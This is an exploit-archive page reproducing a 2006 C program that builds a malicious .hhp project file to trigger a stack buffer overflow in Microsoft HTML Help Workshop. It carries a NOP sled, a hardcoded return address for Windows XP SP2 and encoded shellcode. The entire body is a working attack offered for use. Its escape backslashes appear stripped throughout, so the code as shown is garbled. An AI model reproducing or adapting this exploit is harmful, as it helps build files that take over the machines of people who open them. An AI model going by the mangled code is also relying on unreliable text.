Microsoft HTML Help Workshop (.hhp file) Buffer Overflow Exploit (3)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Microsoft HTML Help Workshop (.hhp file) Buffer Overflow Exploit (3)
# Published : 2006-02-14
# Author : darkeagle
# Previous Title : SCO Unixware 7.1.3 (ptrace) Local Privilege Escalation Exploit
# Next Title : MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit

/*
	Windows HTML Help Workshop Index File Stack Overflow Exploit
/						by Darkeagle

/	[http://eagle.blacksecurity.org]

/	MS coders codes so secure code. Keep coding }:>
	
/	Original Advisory: http://eagle.blacksecurity.org/stuff/unl0ck/adv/55k700206.txt

/	Exploit tested in WinXP SP2 RUS.

*/
#include <stdio.h>
#include <string.h>
#include "stdafx.h"

char ep[]=
"[OPTIONS]n"
"Compatibility=1.1 or latern"
"Compiled file=XAKEP.chmn"
"Index File=";

char pro[]=
"Display compile progress=Non"
"Language=0x43f êà?à??êèénnn"
"[INFOTYPES]";

char shellcode[]=
        "x54x50x53x50x29xc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0ex02"
        "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48"
	"x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4"
	"xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12"
	"x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69"
        "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6"
	"x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5"
	"x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21"
	"x61xddx0ex4d";

int main(int argc,char *argv[])
{
	printf("Windows HTML Help Workshop Index File stack overflow exploitn");
        printf("nBug discovered && exploited by darkeagle of Unl0ck Researchers");
	printf("nWeb page: http://eagle.blacksecurity.org");

	FILE *vuln;
	char overflow[800];

	vuln = fopen("eagle.hhp","w+");
	memset(overflow, 0x90, 800);

	*(long*)&overflow[280] = 0x77E859BA;
	memcpy(overflow+292, &shellcode, sizeof(shellcode));

	if(vuln)
	{
		fprintf(vuln,"%s%sn%s",ep,overflow,pro);
		fclose(vuln);
	}

	return 0;
}

// www.Syue.com [2006-02-14]